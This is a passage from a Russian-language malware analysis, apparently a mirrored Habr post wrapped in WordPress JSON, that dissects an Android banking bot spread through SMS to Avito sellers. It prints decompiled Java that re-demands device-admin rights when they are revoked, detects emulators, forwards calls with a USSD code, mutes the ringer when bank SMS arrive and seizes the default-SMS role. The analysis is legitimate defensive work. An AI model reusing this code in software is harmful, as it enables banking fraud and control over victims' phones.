\u0432 LogCat. <br \/>  \u0417\u0430\u043f\u0440\u043e\u0441 \u0430\u0434\u043c\u0438\u043d \u043f\u0440\u0430\u0432 \u0438\u0434\u0435\u0442 \u0441 \u0442\u0435\u043a\u0441\u0442\u043e\u043c: \u00ab\u0420\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0442\u0440\u0435\u0431\u0443\u0435\u043c\u044b\u0435 \u0434\u043b\u044f \u043e\u043f\u0442\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b\u00bb. \u041d\u0430 \u043e\u0442\u043d\u044f\u0442\u0438\u0435 \u043f\u0440\u0430\u0432 \u043d\u0438\u043a\u0430\u043a\u043e\u0433\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u043d\u0435 \u0432\u044b\u0431\u0440\u0430\u0441\u044b\u0432\u0430\u0435\u0442. \u041f\u043e\u0441\u043b\u0435 \u043e\u0442\u043d\u044f\u0442\u0438\u044f \u043f\u0440\u0430\u0432, \u0437\u043b\u043e\u0432\u0440\u0435\u0434 \u043f\u043e\u043f\u0440\u043e\u0441\u0438\u0442 \u0438\u0445 \u0435\u0449\u0435 \u0440\u0430\u0437<\/p>\n<pre><code class=\"java\">   public CharSequence onDisableRequested(Context context, Intent intent) {         Intent intent2 = new Intent(context, MAC.class);         intent2.addFlags(268435456);         context.startActivity(intent2);         return &quot;&quot;;     }          public class MAC extends Activity {     private DevicePolicyManager a;      public void onCreate(Bundle bundle) {         super.onCreate(bundle);         this.a = (DevicePolicyManager) getSystemService(&quot;device_policy&quot;);         Parcelable componentName = new ComponentName(this, CAdm.class);         if (!this.a.isAdminActive(componentName)) {             Intent intent = new Intent(&quot;android.app.action.ADD_DEVICE_ADMIN&quot;);             intent.putExtra(&quot;android.app.extra.DEVICE_ADMIN&quot;, componentName);             intent.putExtra(&quot;android.app.extra.ADD_EXPLANATION&quot;, &quot;&quot;);             startActivity(intent);         }         finish();     } } <\/code><\/pre>\n<p>  \u0421\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u0433\u0435\u0439\u0442 (\u0441\u0435\u0440\u0432\u0435\u0440, \u043a\u0443\u0434\u0430 \u043e\u0431\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0431\u043e\u0442) plain-text. \u041e\u0431\u0449\u0435\u043d\u0438\u0435 \u0441 \u0431\u043e\u0442\u043e\u043c \u0432 \u043e\u0431\u0435 \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 JSON. \u0420\u0430\u0437\u0431\u0438\u0440\u0430\u0442\u044c \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b \u043c\u043d\u0435 \u0431\u044b\u043b\u043e \u043d\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u043b\u0430 \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430. <\/p>\n<p>  \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430 \u0437\u0430\u043f\u0443\u0441\u043a \u0441 \u044d\u043c\u0443\u043b\u044f\u0442\u043e\u0440\u0430 <\/p>\n<pre><code class=\"java\">    public static boolean m6a(Context context) {         boolean equals = ((TelephonyManager) context.getSystemService(&quot;phone&quot;)).getDeviceId().equals(&quot;000000000000000&quot;);         boolean z = Build.MODEL.contains(&quot;google_sdk&quot;) || Build.MODEL.contains(&quot;Emulator&quot;) || Build.MODEL.contains(&quot;Android SDK&quot;) || Build.FINGERPRINT.startsWith(&quot;generic&quot;) || Build.FINGERPRINT.startsWith(&quot;unknown&quot;) || Build.MODEL.contains(&quot;Android SDK built for x86&quot;) || Build.MANUFACTURER.contains(&quot;Genymotion&quot;);         boolean z2 = Build.BRAND.startsWith(&quot;generic&quot;) && Build.DEVICE.startsWith(&quot;generic&quot;);         return equals || z || z2;     } <\/code><\/pre>\n<p>  \u0411\u043e\u0442 \u0443\u043d\u043e\u0441\u0438\u0442 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430, \u0441\u043f\u0438\u0441\u043e\u043a \u043a\u043e\u043d\u0442\u0430\u043a\u0442\u043e\u0432, \u0441\u043f\u0438\u0441\u043e\u043a \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u0437\u0432\u043e\u043d\u043a\u043e\u0432, \u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u043c\u0435\u0441\u0442\u043e\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0441\u043c\u0441. <\/p>\n<p>  \u0423\u043c\u0435\u0435\u0442 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0435\u0440\u0435\u0430\u0434\u0440\u0435\u0441\u0430\u0446\u0438\u044e \u0437\u0432\u043e\u043d\u043a\u043e\u0432, \u043d\u043e \u0438 USSD<\/p>\n<pre><code class=\"java\"> static String b(Context context, String str) {         String str2 = &quot;**21*&quot; + str + &quot;#&quot;;         Intent intent = new Intent(&quot;android.intent.action.DIAL&quot;);         intent.setData(Uri.fromParts(&quot;tel&quot;, str2, &quot;#&quot;));         intent.setFlags(268435456);         context.startActivity(intent);         return &quot;&quot;;     }      static String a(Context context, String str) {         SystemClock.sleep(5000);         Intent intent = new Intent(&quot;android.intent.action.CALL&quot;, Uri.parse(&quot;tel:&quot; + str.toString() + Uri.encode(&quot;#&quot;)));         intent.setFlags(268435456);         context.startActivity(intent);         return &quot;&quot;;     } <\/code><\/pre>\n<p>  \u0410 \u043a\u043e\u0433\u0434\u0430 \u043f\u0440\u0438\u0434\u0435\u0442 \u0437\u0430\u0432\u0435\u0442\u043d\u0430\u044f SMS \u043e\u0442 \u0441\u0431\u0435\u0440\u0431\u0430\u043d\u043a\u0430 \u2014 \u0431\u043e\u0442 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442 \u043d\u0430 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0435 \u0437\u0432\u0443\u043a<\/p>\n<pre><code class=\"java\"> ((AudioManager) getSystemService(&quot;audio&quot;)).setRingerMode(0); <\/code><\/pre>\n<p>   \u0410 \u0435\u0441\u043b\u0438 \u0432\u0435\u0440\u0441\u0438\u044f \u0430\u043d\u0434\u0440\u043e\u0438\u0434\u0430 \u043e\u0442 4.4, \u0442\u043e \u0431\u0443\u0434\u0435\u043c \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0435\u0431\u044f \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c \u0434\u043b\u044f \u0441\u043c\u0441 \u043f\u043e-\u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e<br \/>   \u0412 \u0432\u0435\u0440\u0441\u0438\u0438 4.4 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e \u0441\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u0441\u043c\u0441 \u043b\u044e\u0431\u044b\u043c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c, \u043a\u0440\u043e\u043c\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e. \u0412 \u0434\u0440\u0443\u0433\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0430\u043d\u0434\u0440\u043e\u0438\u0434\u0430 \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043f\u0440\u0435\u0442\u0438\u0442\u044c \u0441\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u0441\u043c\u0441, \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u0432 Hangouts \u0438 \u0432\u044b\u0431\u0440\u0430\u0432 \u0434\u043b\u044f \u0441\u043c\u0441 \u0435\u0433\u043e. <\/p>\n<pre><code class=\"java\"> public static void m2a(Context context) {         if (VERSION.SDK_INT &gt;= 19) {             String className = ((RunningTaskInfo) ((ActivityManager) context.getSystemService(&quot;activity&quot;)).getRunningTasks(1).get(0)).topActivity.getClassName();             if (!className.equalsIgnoreCase(&quot;com.android.settings.DeviceAdminAdd&quot;) && !className.equalsIgnoreCase(&quot;com.android.settings.SmsDefaultDialog&quot;) && !Sms.getDefaultSmsPackage(context).equalsIgnoreCase(context.getPackageName())) {                 Intent intent = new Intent(&quot;android.provider.Telephony.ACTION_CHANGE_DEFAULT&quot;);                 intent.putExtra(&quot;package&quot;, context.getPackageName());                 intent.addFlags(268435456);                 context.startActivity(intent);             }         }     } <\/code><\/pre>\n<p>  \u0410 \u043f\u043e\u0434 \u0432\u0438\u0434\u043e\u043c Beeline MMS \u0446\u0435\u043d\u0442\u0440\u0430 \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u0442\u043e\u0442 \u0436\u0435 \u0431\u043e\u0442 \u0438\u0437 \u043c\u0430\u0442\u0440\u0435\u0448\u043a\u0438, \u0442\u043e\u043b\u044c\u043a\u043e \u0431\u0435\u0437 \u043e\u0431\u0435\u0440\u0442\u043a\u0438.<\/p>\n<p>  \u041f\u043e\u0434\u0432\u043e\u0434\u044f \u0438\u0442\u043e\u0433, \u0438\u043c\u0435\u0435\u043c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0443\u044e \u0438\u0434\u0435\u044e \u0441 \u043c\u0430\u0442\u0440\u0435\u0448\u043a\u043e\u0439 \u0438 \u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0433\u043e \u0431\u043e\u0442\u0430.               <\/p>\n<div class=\"clear\"><\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habrahabr.ru\/post\/276619\/\"> https:\/\/habrahabr.ru\/post\/276619\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>       \u041f\u043e\u0441\u043b\u0435 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u044f <a href=\"https:\/\/habrahabr.ru\/post\/276211\/\">\u0441\u0442\u0430\u0442\u044c\u0438<\/a> \u043f\u0440\u043e \u0430\u043d\u0430\u043b\u0438\u0437 \u043c\u0430\u043b\u0432\u0430\u0440\u0438 \u0441 avito, \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u043e\u0438\u0445 twitter-\u0447\u0438\u0442\u0430\u0442\u0435\u043b\u0435\u0439 \u043e\u0442\u043a\u043b\u0438\u043a\u043d\u0443\u043b\u0438\u0441\u044c \u0438 \u043f\u0440\u0438\u0441\u043b\u0430\u043b\u0438 SMS, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0438\u0439 \u043d\u0430 avito. <\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/82d\/e11\/d80\/82de11d801054dfb9e831d60e6e8efa7.jpg\" height=\"100\"\/>  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-273604","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/273604","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=273604"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/273604\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=273604"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=273604"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=273604"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}